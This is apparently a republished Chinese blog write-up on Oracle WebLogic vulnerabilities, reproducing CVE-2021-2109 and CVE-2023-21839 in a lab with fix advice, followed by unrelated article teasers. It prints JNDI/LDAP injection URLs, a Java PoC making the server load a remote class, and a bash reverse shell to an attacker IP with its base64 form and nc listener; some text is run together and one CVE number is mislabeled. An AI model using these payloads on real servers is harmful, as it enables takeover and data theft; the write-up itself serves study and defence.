开发知识点-Weblogic

在这里插入图片描述

Weblogic

  • 介绍
  • CVE_2018_2628
  • poc-yaml-weblogic-ssrf
  • poc-yaml-weblogic-cve-2017-10271
  • poc-yaml-weblogic-cve-2019-2725
  • poc-yaml-weblogic-cve-2019-2729-1
  • poc-yaml-weblogic-cve-2019-2729-2
  • poc-yaml-weblogic-cve-2020-14750
  • poc-yaml-weblogic-local-cve-2022-21371-file-inclusion
  • CVE_2020_2551 IIOP 反序列化
  • CVE-2021-2109 WebLogic LDAP 远程代码执行漏洞
  • CVE-2023-21839 Weblogic T3 预身份验证远程命令执行
    • 分析
    • 解决建议
    • 参考材料

介绍

WebLogic是美国Oracle公司出品的一个application server,
确切的说是一个基于JAVAEE架构的中间件,
用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

CVE_2018_2628


-   [1](https://github.com/topics/cve-2023-21839) cve-2023-21839 · GitHub Topics · GitHub,这里有 3 个公开的仓库与这个主题相关,其中一个是 4ra1n / CVE-2023-21839,用 python 写了一个一键检测 weblogic CVE-2023-21839 / CVE-2023-21931 / CVE-2023-21979 的脚本。
-   [2](https://github.com/houqe/POC_CVE-2023-21839) GitHub - houqe/POC_CVE-2023-21839,这是一个根据 4ra1n 大佬的 GO 版本翻译成 python 的 POC,可以用来攻击或测试目标,但需要授权许可。
-   [3](https://github.com/fakenews2025/CVE-2023-21839) GitHub - fakenews2025/CVE-2023-21839: CVE-2023-21839 exp,这是一个利用 T3, IIOP 协议的 Weblogic RCE 漏洞的 POC,支持 12.2.1.3.0, 12.2.1.4.0 和 14.1.1.0.0 版本。

poc-yaml-weblogic-ssrf

poc-yaml-weblogic-cve-2017-10271

poc-yaml-weblogic-cve-2019-2725

poc-yaml-weblogic-cve-2019-2729-1

poc-yaml-weblogic-cve-2019-2729-2

poc-yaml-weblogic-cve-2020-14750

poc-yaml-weblogic-local-cve-2022-21371-file-inclusion

CVE_2020_2551 IIOP 反序列化

CVE-2021-2109 WebLogic LDAP 远程代码执行漏洞

Oracle WebLogic Server的反序列化RCE漏洞(CVE-2023-2109),该漏洞影响Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4和14.1.1.0版本,攻击者可以通过发送带有恶意对象的HTTP请求,利用WebLogic Server的T3协议进行反序列化,执行任意代码。LDAP Lightweight Directory Access Protocol轻量目录访问协议,基于X.500协议,相对简单且支持定制。
于X.500不同的是LDAP支持TCP/IP。本文主要复现编号为CVE-2021-2109的Weblogic JNDI注入远程命令执行漏洞,该漏洞风险为“高”。影响版本:Weblogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

信息安全从业人员

计算机基础、计算机网络、Linux




预备知识
JNDI简介

JNDI是Java Naming and Directory Interface
(Java命名和目录接口)的英文简写,
是为Java应用程序提供命名和目录访问服务的API
(application programing interface,应用程序编程接口)。

Weblogic_ssrf 反序列化远程命令执行漏洞 未授权访问漏洞 LDAP




漏洞编号:CVE-2021-2109

漏洞名称:WebLogic LDAP远程代码执行漏洞

漏洞描述:
2020年11月19日,
阿里云安全向Oracle官方报告了Weblogic Server远程代码执行漏洞。
攻击者可通过LDAP协议,实现JNDI注入攻击,
加载远程CodeBase下的恶意类,最后执行任意代码从而控制服务器。

影响版本:WebLogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

漏洞等级:高危




通过实验掌握WebLogic LDAP远程代码执行漏洞的利用方法,
了解漏洞原理

PoC的构造链。




实验环境
靶机:docker+weblogic12.2.1.3 IP:10.1.1.109
在这里插入图片描述

攻击机:kali IP:10.1.1.110




任务描述:启动漏洞环境,判断漏洞是否存在。

靶机WebLogic Server已启动,浏览器访问 http://ip:7001 即可:

在这里插入图片描述

注:7001是WebLogic的默认端口。

访问/console/css/%252e%252e%252f/consolejndi.portal:

在这里插入图片描述

注:如果没有立即显示,刷新页面即可。

如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞。
在这里插入图片描述

任务描述:启动LDAP,远程执行代码。
在这里插入图片描述

下载漏洞攻击需要的LDAP启动脚本到服务器上并启动:

java -jar JNDIExploit.jar -i ip(攻击机地址)
在这里插入图片描述
在这里插入图片描述

配合WebLogic未授权漏洞进行代码执行:

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注:LDAP服务器地址的第三个分割符号为;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
另起一个终端,运行漏洞利用PoC:
在这里插入图片描述

注意参数格式:LDAP >>> ldap://xxx.xxx.xxx;xxx:1389
在这里插入图片描述

可以成功远程执行命令。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

任务描述:利用漏洞反弹shell。

访问 http://www.jackson-t.ca/runtime-exec-payloads.html,

将bash反弹命令bash -i >&/dev/tcp/10.1.1.110/6666 0>&1

进行base64编码转换:

得到:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在攻击机上运行nc-lvvp 6666命令监听6666端口:

在这里插入图片描述

将编码后的命令复制到cmd后面进行重放:

在这里插入图片描述

成功反弹回shell。
在这里插入图片描述在这里插入图片描述

漏洞修复
1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;

2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html

在这里插入图片描述

关闭 默认



分析与思考
漏洞分析见:https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

调试分析参考:https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg

参考
1、 https://mp.weixin.qq.com/s/gRgrzgkgeehT1DnnlnqQKw
2、 https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ
3、 https://www.freebuf.com/vuls/261872.html
4、 https://www.cnblogs.com/huaflwr/p/14317388.html

CVE-2023-21839 Weblogic T3 预身份验证远程命令执行

CNVD-2023-04389
在这里插入图片描述


WebLogic存在远程代码执行漏洞,
该漏洞  允许未经身份验证授权的 远程攻击者
通过`IIOP/T3`协议网络访问并破坏易受攻击的WebLogic服务器,
成功利用此漏洞可能导致Oracle WebLogic服务器被接管或可访问数据的敏感信息泄露。
漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看
当远程对象继承自OpaqueReference时,`JNDI lookup`查看远程对象时,
服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,
(weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference
并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现)
导致攻击者可利用rmi/ldap远程协议进行远程命令执行。当 `JDK` 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致`RCE`漏洞。利用范围
Oracle WebLogic Server@[12.2.1.3, 14c(14.1.1.0))WebLogic_Server = 12.2.1.3.0
https://blog.csdn.net/qq_41979593/article/details/123780213
https://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_Disk1_1of1.zip
部署
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2023-21839/README.zh-cn.md
vulhub/weblogic/CVE-2023-21839# docker-compose up -dhttp://127.0.0.1:7001/
出现## Error 404--Not Found### From RFC 2068 _Hypertext Transfer Protocol -- HTTP/1.1_:#### 10.4.5 404 Not FoundThe server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent.If the server does not wish to make this information available to the client, the status code 403 (Forbidden) can be used instead. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address.http://127.0.0.1:7001/console/WebLogic Server 版本: 12.2.1.3.0http://120.48.83.89:7001/console/login/LoginForm.jsphttps://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839Weblogic10 XMLDecoderWeblogic 中对 RMI 传输就是使用的 T3 协议[**CVE-2023-21839 WebLogic Server RCE**](https://www.ddosi.org/cve-2023-21839/)[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)[2](https://www.ddosi.org/cve-2023-21839/)[3](https://cn-sec.com/archives/1623845.html)[4](https://cn-sec.com/archives/1695556.html)[,这个漏洞影响了Oracle WebLogic Server 12.2.1.3.012.2.1.4.014.1.1.0.0版本,可以通过T3或IIOP协议进行远程代码执行](https://www.ddosi.org/cve-2023-21839/)[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)[2](https://www.ddosi.org/cve-2023-21839/)[。这个漏洞的利用方法和POC也已经在网络上公开](https://www.freebuf.com/vuls/357138.html)[5](https://www.freebuf.com/vuls/357138.html)[3](https://cn-sec.com/archives/1623845.html)[4](https://cn-sec.com/archives/1695556.html),建议受影响的用户尽快下载并更新官方补丁[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)

分析

SDK1.8新建POC项目
导入weblogic依赖jar包
weblogic的安装路径下的C:\Oracle\Middleware\Oracle_Home\wlserver\server\libdocker cp cve-2023-21839_weblogic_1:/u01/oracle/wlserver/modules /aming/weblogic_libweblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar
需要手动执行一个命令生成手动生成 wlfullclient.jar
使用如下命令,生成wlfullclient.jar包
java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

在这里插入图片描述

将生成的jar包,复制到攻击机的任意目录下,
接着在IDEA中导入jar包。file-->project structure-->Modules-->Dependencies-->JARS or ...
JNDIExploit.jar工具,开启LDAP服务和web服务
运行poc代码,让目标加载恶意类进行远程命令执行。import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;public class poc {static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";private static InitialContext getInitialContext(String url)throws NamingException{Hashtable<String,String> env = new Hashtable<String,String>();env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);env.put(Context.PROVIDER_URL, url);return new InitialContext(env);}//iioppublic static void main(String args[]) throws Exception {InitialContext c=getInitialContext("t3://172.23.a.b:7001");Hashtable<String,String> env = new Hashtable<String,String>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");jndiEnvironment.setAccessible(true);jndiEnvironment.set(f,env);Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");remoteJNDIName.setAccessible(true);remoteJNDIName.set(f,"ldap://172.23.c.d:1389/Basic/Command/calc");c.bind("aaa120",f);c.lookup("aaa120");}}通过调用getInitialContext方法创建一个InitialContext对象;
使用反射访问和修改ForeignOpaqueReference对象中的私有字段`jndiEnvironment``emoteJNDIName`,
调用InitialContext对象的bind方法将ForeignOpaqueReference对象绑定到JNDI服务,最后调用InitialContext对象的lookup方法,执行查找。类  weblogic.deployment.jms.ForeignOpaqueReferenceOracle WebLogic Server API Reference  12.2.1.3.0
https://docs.oracle.com/middleware/12213/wls/WLAPI/overview-summary.html  FRAMES分析ForeignOpaqueReference这个类,其实继承了QpaqueReference接口
而QpaqueReference在官方文档中提示了
当实现此接口的对象从 WLContext 中检索(通过查找或 listBindings)时,由 getReferent() 返回对象。在POC中远程绑定了ForeignOpaqueReference对象,
实际是因为ForeignOpaqueReference继承QpaqueReference,在远程查询该对象的时候,调用的将会是ForeignOpaqueReference.getReferent方法。

在这里插入图片描述

方法  weblogic.deployment.jms.ForeignOpaqueReference.getReferent()lookup操作之前会检查 JNDI 环境是否已正确配置以访问远程资源,
主要是对jndiEnvironment和remoteJNDIName的检测,
如果在if中的任何一个条件为真,那么将调用对象的lookup方法,
如果 if 语句中的所有条件都为假,则会进入检查cachedReferent字段的阶段。只要 getReferent 内的 this.jndiEnvironment不为空,就可以对InitialContext进行初始化,this.jndiEnvironment也可以使用反射的方式进行赋值。

在这里插入图片描述在这里插入图片描述


通过retVal = context.lookup(evalMacros(this.remoteJNDIName))的实现,便可以利用rmi/ldap远程协议进行命令执行。
进入bind方法,可以看到绑定的对象中
通过反射对remoteJNDIName 和 jndiEnvironment属性赋值。

在这里插入图片描述
ClusteravleRemoteRef.invoke
在这里插入图片描述

已经远程获取并加载了恶意类
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
在weblogic.jndi.internal.ForeignOpaqueReference这个类下同样可以利用IIOP协议实现JNDI注入。

在这里插入图片描述在这里插入图片描述

解决建议

 1、安装Oracle WebLogic  Server最新安全补丁:https://www.oracle.com/security-alerts/cpujan2023.html2、通过控制T3协议/关闭IIOP协议的访问来阻断利用T3协议/IIOP协议的漏洞攻击。关闭T3和iiop协议端口,操作方法参考:https://help.aliyun.com/noticelist/articleid/1060577901.html 针对T3协议使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:连接筛选器:weblogic.security.net.ConnectionFilterImpl0.0.0.0/0 * 7001 deny t3 t3s #拒绝所有访问允许和拒绝指定IP规则示例:
192.168.1.0/24 * 7001 allow t3 t3s #允许指定IP段访问
192.168.2.0/24 * 7001 deny t3 t3s #拒绝指定IP段访问连接筛选器说明参考(英文):
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377在Weblogic控制台中,
选择“base_domain”->“监视”进入“AdminServer”-> “协议”->“IIOP”中,取消“启用IIOP”的勾选。并重启Weblogic项目,使配置生效。目前Oracle已经修复该漏洞并发布补丁,受影响的用户可参考官方通告及时下载并更新补丁,
下载地址:[https://support.oracle.com/rs?type=doc&id=2917213.2]
(https://link.zhihu.com/?target=https%3A//support.oracle.com/rs%3Ftype%3Ddoc%26id%3D2917213.2)。 

参考材料

1.Oracle Critical Patch Update Advisory - January 20232.[https://www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory]
(https://link.zhihu.com/?target=https%3A//www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory)3.[https://docs.oracle.com/html/E8]
(https://link.zhihu.com/?target=https%3A//docs.oracle.com/html/E80373_03/weblogic/jndi/OpaqueReference.htmlhttps%3A//docs.oracle.com/en/)

Oracle WebLogic Server 是业界领先的应用服务器,用于使用 Java EE 标准构建企业应用,并以较低的拥有成本将其部署在可靠、可扩展的运行时上。漏洞复现首先工具准备(GitHub - ASkyeye/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)3.1:讲一下漏洞产生的原因(CVE-2023-21839 允许远端用户在未经授权的情况下通过 IIOP 进行 JNDI 查找操作,当 JDK 版本过低或本地有小工具(使用 javaSerializedData)时,可能会导致 RCE 漏洞。)3.2启动工具解压压缩包unzip CVE-2023-21839-master.zipcd CVE-2023-21839-mastercd cmdo build -o CVE-2023-21839之后会生成一个 CVE-2023-21839程序启动java的工具监听    
之后使用nc进行监听    
在启动工具

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/321821.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自然语言转SQL,一个微调ChatGPT3.5的实例(下)--模型微调及模型性能

提交训练集进行微调 一旦我们创建了JSONL文件&#xff08;可以在这里或ipfs_here找到一个小样本&#xff09;&#xff0c;下一步是使用以下命令将创建的文件上传到OpenAI&#xff1a; openai.api_key os.getenv("OPENAI_API_KEY") print(openai.File.create(fileo…

出海合规云安全,AWS Landing Zone解决方案建立安全着陆区

在出海的大环境中&#xff0c;企业数字化转型的趋势之一就是上云。然而&#xff0c;上云也带来了新的挑战&#xff0c;特别是对企业的 IT 建设和管理提出了更高的要求。为了构建一个安全合规的云上信息系统环境&#xff0c;满足企业中不同用户的快速增长、资源访问可控、成本可…

《深入理解C++11:C++11新特性解析与应用》笔记八

第八章 融入实际应用 8.1 对齐支持 8.1.1 数据对齐 c可以通过sizeof查询数据的长度&#xff0c;但是没有对对齐方式有关的查询或者设定进行标准化。c11标准定义的alignof函数可以查看数据的对齐方式。 现在的计算机通常会支持许多向量指令&#xff0c;4组8字节的浮点数据&a…

香橙派5plus从ssd启动Ubuntu

官方接口图 我实际会用到的就几个接口&#xff0c;背面的话就一个M.2固态的位置&#xff1a; 其中WIFI模块的接口应该也可以插2230的固态&#xff0c;不过是pcie2.0的速度&#xff0c;背面的接口则是pcie3.0*4的速度&#xff0c;差距还是挺大的。 开始安装系统 准备工作 一张…

数模学习day06-主成分分析

主成分分析(Principal Component Analysis,PCA)主成分分析是一种降维算法&#xff0c;它能将多个指标转换为少数几个主成分&#xff0c;这些主成分是原始变量的线性组合&#xff0c;且彼此之间互不相关&#xff0c;其能反映出原始数据的大部分信息。一般来说当研究的问题涉及到…

想学鸿蒙,又怕找不到工作?能有前途吗?

鸿蒙有没有前途&#xff0c;能不能找到工作&#xff1f;其实这与市场行情有关&#xff0c;这几年的互联网大家都已经感受到了&#xff0c;十分悲凉。不管是前端还是Android等开发行业&#xff0c;不是被裁员就是内卷严重&#xff0c;这几年倒下了无数家中小型互联网企业。 而作…

【数据库原理】(6)关系数据库的关系操作集合

基本关系操作 关系数据操作的对象都是关系,其操作结果仍为关系,即集合式操作。关系数据库的操作可以分为两大类&#xff1a;数据查询和数据更新。这些操作都是基于数学理论&#xff0c;特别是集合理论。下面是对这些基本操作的解释和如何用不同的关系数据语言来表达这些操作的…

人工智能在金融领域的应用存在的4大挑战

金融服务供应商应该有计划地应对AI面临的难题 金融行业投资人工智能热潮带来有关数据安全和透明度的新问题。由于数据管理实践随着新的 AI 解决方案的引入而不断发展&#xff0c;应对这些新问题以及金融服务领域 AI 面临的其他挑战尤为重要。各组织必须认识到可能面临以下挑战…

CAN数据记录仪在新能源车上的应用

随着新能源汽车的快速发展&#xff0c;对车辆安全和性能的要求也越来越高。在新能源车中&#xff0c;液位传感器是必不可少的零部件之一&#xff0c;用于监测电池液位、冷却液位等关键参数。在测试阶段需要工作人员花费大量时间跟车去获取它的CAN数据&#xff0c;从而分析是否有…

Linux 命令tail

命令作用 tail 命令用于显示文件的末尾内容&#xff0c;默认显示文件的最后 10 行。通常情况下&#xff0c;tail 命令用于实时查看动态日志文件&#xff0c;可以使用 -f 参数跟踪文件内容的变化。 语法 tail [选项] [文件名] 参数 以 log.txt 为例演示参数效果 -n -linesK…

算法第十天-在D天之内送达包裹的能力

在D天之内送达包裹的能力 题目要求 解题思路 二分解法&#xff08;精确边界&#xff09; 假定[D天内送完所有包裹的最低运力]为 a n s ans ans&#xff0c;那么在以 a n s ans ans为分割点的数轴上具有[二段性]&#xff1a; 数值范围在 &#xff08; − ∞ , a n s &#xf…

Linux 内存数据 Metrics 指标解读

过去从未仔细了解过使用 free、top 等命令时显式的内存信息&#xff0c;只关注了已用内存 / 可用内存。本文我们详解解读和标注一下各个数据项的含义&#xff0c;同时和 Ganglia 显式的数据做一个映射。开始前介绍一个小知识&#xff0c;很多查看内存的命令行工具都是 cat /pro…